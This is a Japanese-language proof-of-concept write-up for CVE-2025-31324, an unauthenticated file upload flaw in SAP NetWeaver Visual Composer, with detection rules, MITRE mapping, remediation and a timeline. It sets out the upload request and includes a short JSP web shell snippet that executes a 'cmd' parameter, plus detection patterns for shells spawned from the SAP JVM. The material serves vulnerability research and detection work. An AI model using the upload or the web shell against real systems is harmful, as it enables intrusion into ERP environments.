
CVE-2025-31324の概念実証エクスプロイト。SAP NetWeaver Visual Composerにおける未認証のファイルアップロード脆弱性であり、検出ガイダンス、MITREマッピング、および修復手順を含む。
タイプ: 概念実証 — 脆弱性調査 CVE: CVE-2025-31324 CVSS: 10.0 Critical (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) ステータス: パッチ適用済み — SAP Security Note 3594142 + 3604119 CISA KEV に追加: 2025年5月
⚠️ このPoCは、悪意のあるコードを実行せずに攻撃対象領域を検証するために、良性のJSPファイル("Hello World")を使用します。ペンテストおよび検知開発目的でのみ、許可された環境で使用してください。
Developed by: HKK$ cat ./vulnerability_summary.txtCVE-2025-31324 の脆弱性は、SAP NetWeaver AS Java の Visual Composer Metadata Uploader コンポーネントに存在します — 認可チェックの欠如 により、認証されていない攻撃者が /developmentserver/metadatauploader エンドポイントに POST リクエストを送信し、任意のファイルを無制限にアップロードできるようになります。
このCVEは、SAP NetWeaver Visual Composer Framework バージョン 7.50 に特に影響し、CVSSスコアは最大値である10.0です。
脅威アクターは、2025年1月から5月にかけてこの脆弱性を積極的に悪用し、世界中の数百のシステムに永続的なウェブシェルを展開しました。
$ cat ./impact.txt高い権限で動作し、ERPデータに近接しているため、悪用後のSAP ABAPスタックや接続されたデータベースへのラテラルムーブメントは簡単です。
実際の攻撃における完全な悪用チェーン:
JSPアップロード (CVE-2025-31324)
→ サーバー上の永続的なウェブシェル
→ SAPプロセスとしてのRCE(高権限)
→ ERPデータへのアクセス(財務、人事、サプライチェーン)
→ ABAP / DB へのラテラルムーブメント
→ C2フレームワークの展開(例: Brute Ratel)
$ cat ./architecture.txt┌─────────────────────────────────────────────────────────────────────────┐
│ CVE-2025-31324 — EXPLOIT FLOW │
│ │
│ 攻撃者 SAP NETWEAVER AS JAVA │
│ │
│ POST /developmentserver/metadatauploader │
│ Content-Type: multipart/form-data ┌─────────────────────┐ │
│ Body: JSP/WAR/任意のファイル ──────────► │ Metadata Uploader │ │
│ (認証なし) │ │ │
│ │ ❌ 認証チェックなし │ │
│ │ ❌ 拡張子の検証なし │ │
│ │ ❌ コンテンツの │ │
│ │ サニタイズなし │ │
│ └────────┬────────────┘ │
│ │ │
│ ファイルは以下に保存: │
│ /irj/root/ または類似 │
│ │ │
│ GET /irj/hello_world.jsp ◄──────────────────────────┘ │
│ → Hello World (良性のPoC) │
│ → ウェブシェル (実際の悪用) │
└─────────────────────────────────────────────────────────────────────────┘
/developmentserver/metadatauploader は SAP Visual Composer の一部です — これは、ビジネスアナリストがJavaコードなしでSAPアプリケーションを作成するためのローコード開発ツールです。このエンドポイントは、開発中にメタデータモデルを受け取るように設計されました。 このコンポーネントはNetWeaverのデフォルト設定では有効になっていませんが、Onapsisは本番環境で広く有効化されていると報告しています。
$ cat ./design_decisions.mdfile_content = """<%@ page language="java" contentType="text/html; charset=UTF-8" ...%>
<h1>Hello World</h1>"""
なぜJSPなのか、他の形式ではないのか?
SAP NetWeaver AS Java はJVMを実行します — .jsp ファイルは、事前のコンパイルなしでサーブレットコンテナ(組み込みApache Tomcat)によって直接解釈されます。これにより、JSPはJava環境でのウェブシェルに理想的な形式となります。
良性のコンテンツ("Hello World")の選択は、PoCのために意図的です:
実際の悪用では、コンテンツはコマンド実行を伴うJSPウェブシェルになります。例:
<%
String cmd = request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
%>
multipart/form-data — なぜこのContent-Typeなのか?files = {'file': (file_name, open(file_name, 'rb'), 'application/octet-stream')}
このエンドポイントは multipart/form-data リクエストを期待します — これはHTMLフォームのファイルアップロードで使用されるのと同じ形式です。これはVisual Composerの元の設計(開発モデルのアップロード)において意図的です。
requests ライブラリは、files= が渡されるとmultipartのバウンダリを自動的に構築します — Content-Type: multipart/form-data; boundary=... ヘッダーは内部で生成されます。
verify=False: TLS証明書の検証を無効にします — SAP環境では自己署名証明書が頻繁に使用されるため必要です。本番環境では、verify='/path/to/ca-bundle.crt' を使用してください。
https://<host>:<port>/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1
| コンポーネント | 意味 |
|---|---|
:50201 | SAP ICM(Internet Communication Manager)HTTPSのデフォルトポート |
/developmentserver/ | Visual Composerの開発サーブレット |
metadatauploader | メタデータアップロード専用エンドポイント |
CONTENTTYPE=MODEL | エンドポイントが期待するコンテンツタイプ |
CLIENT=1 | SAPクライアント(mandant)— 000、100、001 が一般的 |
$ cat ./mitre_mapping.ymltactic: Initial Access
- T1190 # Exploit Public-Facing Application
# HTTP POSTによる認証なしの /developmentserver/metadatauploader エンドポイントの悪用
tactic: Execution
- T1505.003 # Server Software Component: Web Shell
# アップロードされたJSPウェブシェル → サーブレットコンテナ(Tomcat)によって実行
tactic: Persistence
- T1505.003 # 永続化メカニズムとしてのWeb Shell
# JSPファイルは再起動後もサーバーのファイルシステムに永続化
tactic: Defense Evasion
- T1036 # Masquerading
# 正当なSAPファイルに偽装した名前のウェブシェル(例: metadata.jsp)
tactic: Discovery
- T1082 # System Information Discovery
# RCE後: プロセス、ユーザー、SAPパスの列挙
tactic: Lateral Movement
- T1210 # Exploitation of Remote Services
# RCEを介したABAPスタック、接続されたデータベースへのアクセス
tactic: Collection
- T1005 # Data from Local System
# ERPデータ(財務、人事、サプライチェーン)への直接アクセス
$ cat ./affected_versions.txt製品: SAP NetWeaver Application Server Java
コンポーネント: Visual Composer Framework
バージョン: 7.50 (2025年4月/5月のパッチ前のすべてのビルド)
パッチ:
SSN 3594142 → 初期パッチ(2025年4月)— ファイルアップロードを緩和
SSN 3604119 → CVE-2025-42999による根本原因修正(2025年5月)— 根本原因に対処
SSN 3578900, 3620498, 3621771, 3634501 → 追加のハードニングノート
CISA KEV: CVE-2025-31324 と CVE-2025-42999 の両方がカタログに追加されました
$ cat ./detection_opportunities.md# ルール: Metadata Uploaderエンドポイントへの認証なしPOST
# ソース: SAP Web Dispatcher / ICM アクセスログ
条件:
- method: POST
- uri_path CONTAINS: /developmentserver/metadatauploader
- auth_header: ABSENT
- body_content_type: multipart/form-data
重大度: 重大 — 直ちに調査
# SAP ICMログ — 疑わしいパターン:
[2025-04-25 03:41:22] POST /developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1
Status: 200 | Size: 1337 | Auth: NONE | IP: x.x.x.x
# ルール: 正当なSAPパス外で最近作成された.jspファイルへのGET
条件:
- method: GET
- uri_path MATCHES: /irj/.*\.jsp
- file_creation_time: < 24h
- file_NOT_IN: [既知の正当なJSPのリスト]
# SAP JVMからの疑わしい子プロセス
# ソース: Sysmon / EDR プロセス作成
条件:
- parent_process: java.exe または jstart.exe
- child_process: cmd.exe または powershell.exe または sh または bash
- command_line CONTAINS: -c または .socket または .call( または .spawn(
Red Canaryは、Linux環境でのCVE-2025-31324の悪用について、.socket と .call( または .spawn( を組み合わせた -c 引数を持つ python プロセス — ウェブシェル後のリバースシェルを示す — という検知パターンを文書化しました。
# 過去90日間の脆弱なエンドポイントへのPOSTリクエストを検索
# ログディレクトリ: /usr/sap/<SID>/J<inst>/work/
grep -r "metadatauploader" /usr/sap/*/work/dev_icm* | grep "POST"
grep -r "metadatauploader" /usr/sap/*/work/http_access* | grep -v "GET"
# Webディレクトリで最近作成されたJSPを一覧表示
find /usr/sap/ -name "*.jsp" -newer /usr/sap/<SID>/SYS/global/security -type f
$ cat ./remediation.md優先度: 重大 — 直ちにパッチ適用
1. コンポーネントがアクティブかどうかを確認:
NWA → Configuration → Infrastructure → Java System Properties
com.sap.tc.vccomp.server.vis.jms.VisJmsService を検索
2. 不要な場合 → Visual Composerを無効化:
NWA → Start & Stop → Services → VisualComposer → Stop
3. 必須パッチを適用(順番に):
SSN 3594142 ← 重大(ファイルアップロード)
SSN 3604119 ← 根本原因(CVE-2025-42999)
SSN 3578900, 3620498, 3660659(追加のハードニング)
4. JVM Serial Filterを設定(パッチ後):
NWA → JVM Parameters → 悪意のあるクラスのフィルターを追加
5. Web Dispatcher / ファイアウォールでエンドポイントへのネットワークアクセスを制限:
ブロック: 外部IPからの /developmentserver/*
許可: 承認された開発ホストのみ
6. IOCを確認 — パッチ前に展開されたウェブシェルを検索:
2025年1月以降のICMログを分析
/irj/ 内の疑わしいコンテンツを含む.jspファイルを検索
$ cat ./usage.sh# 依存関係をインストール
pip install requests
# 実行前にスクリプト内のURLを編集:
# url = "https://<your-lab-host>:<port>/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1"
# 実行
python cve_2025_31324_poc.py
# アップロードが成功したか確認(ファイルにアクセス可能である必要があります)
curl -k https://<host>:<port>/irj/hello_world.jsp
# 脆弱な場合の期待される応答: "Hello World" を含むHTML
# パッチ適用済みの場合の期待される応答: 404 または 403
$ cat ./timeline.txt2025年1月 実環境での積極的な悪用の開始(遡及的に検出)
2025年4月24日 SAPがCVE-2025-31324(CVSS 10.0)+ SSN 3594142を公開
2025年4月28日 CISAが既知の悪用された脆弱性カタログに追加
2025年4月29日 Rapid7、Qualys、Red Canaryが技術分析を公開
2025年5月7日 Onapsis + Mandiant(Google Cloud)が共同ブリーフィングを公開
2025年5月13日 SAPがSSN 3604119を公開(CVE-2025-42999による根本原因、CVSS 9.1)
2025年5月15日 CISAがCVE-2025-42999をKEVカタログに追加
2025年5月20日 米国連邦システムへのパッチ適用に関するCISAの期限
2025年6月25日 Unit 42がキャンペーンの積極的な監視を終了
$ cat ./references.mdCVE: https://www.cve.org/CVERecord?id=CVE-2025-31324
SAP Note: https://me.sap.com/notes/3594142
NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-31324
CISA KEV: https://www.cisa.gov/known-exploited-vulnerabilities-catalog
Onapsis: https://onapsis.com/blog/active-exploitation-of-sap-vulnerability-cve-2025-31324/
Rapid7: https://www.rapid7.com/blog/post/2025/04/28/etr-active-exploitation-of-sap-netweaver-visual-composer-cve-2025-31324/
Unit 42: https://unit42.paloaltonetworks.com/threat-brief-sap-netweaver-cve-2025-31324/
Red Canary: https://redcanary.com/blog/threat-intelligence/cve-2025-31324/
$ cat ./lessons_learned.txt[+] 「開発」エンドポイントでの認可チェック欠如は、過小評価されている古典的なベクトル
[+] CVSS 10.0 の意味: 認証なし + ネットワーク到達可能 + 完全なRCE — 最も重大なトリフェクタ
[+] Visual Composerはデフォルトではないが、本番環境で広くアクティブだった — シャドウ機能のリスク
[+] ウェブシェルとしてのJSPは特にステルス性が高い: コンパイル不要、コンテナによって直接実行
[+] 脅威アクターは公開前に3ヶ月以上悪用 — SOC検知が重要
[-] PoCのverify=False — 実際のペンテストでは、自己署名証明書を文書化し、verify=パスを使用
[-] CLIENT=1がハードコード — 本番環境では000、100、200を使用する場合がある; 事前に列挙
[-] PoCはアップロード後にファイルがアクセス可能かどうかを確認しない — 確認用のGETを追加
[→] 改善: host/port/client用のargparse、アップロード後の自動確認、JSON出力
CVE Research · CVSS 10.0 · Patched April/May 2025 · CISA KEV · Authorized testing only